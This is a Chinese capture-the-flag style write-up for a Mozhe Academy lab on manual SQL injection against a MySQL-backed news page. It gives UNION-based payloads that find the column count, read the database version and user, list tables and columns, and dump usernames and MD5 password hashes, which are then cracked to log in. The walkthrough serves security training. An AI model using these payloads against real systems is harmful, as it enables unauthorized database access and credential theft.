墨者学院—SQL手工注入漏洞测试(MySQL数据库)解题过程
实验目的:
实验过程:
- 打开后,点“点击访问”
- 点击上图的红色标注“关于平台停机维护的通知”,打开如下:
对于上图红色标注处,我们开始手工sql注入过程: - 判断注入:猜解列名数量(字段数) order by x 错误与正常的正常值
order by +(我们猜测的,此处我们猜测4,可以跳转成功,但猜测5不行,如下图)
219.153.49.228:48354/new_list.php?id=1 order by 4
- 报错猜解准备:使用union
219.153.49.228:48354/new_list.php?id=1 union select 1,2,3,4
219.153.49.228:48354/new_list.php?id=-1 union select 1,2,3,4
- 开始找操作系统、版本号等
信息收集:
操作系统版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
通过下面查询语句可以得到上述数据库版本、数据库用户、操作系统等
- 查询指定数据库名:mozhe_Discuz_StormGroup下表名信息:
219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat(table_name),3,4 from information_schema.tables where
table_schema='mozhe_Discuz_StormGroup'
- 查询指定表名StormGroup_member下的列名信息:
219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from information_schema.columns where
table_name='StormGroup_member'
- 查询指定数据:求出name和passward
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,name,password,4 from StormGroup_member
上述密码用md5解出来登陆不上,在后面加上限制条件limit 1,1
-
用md5解密
-
登陆
提交key就可以了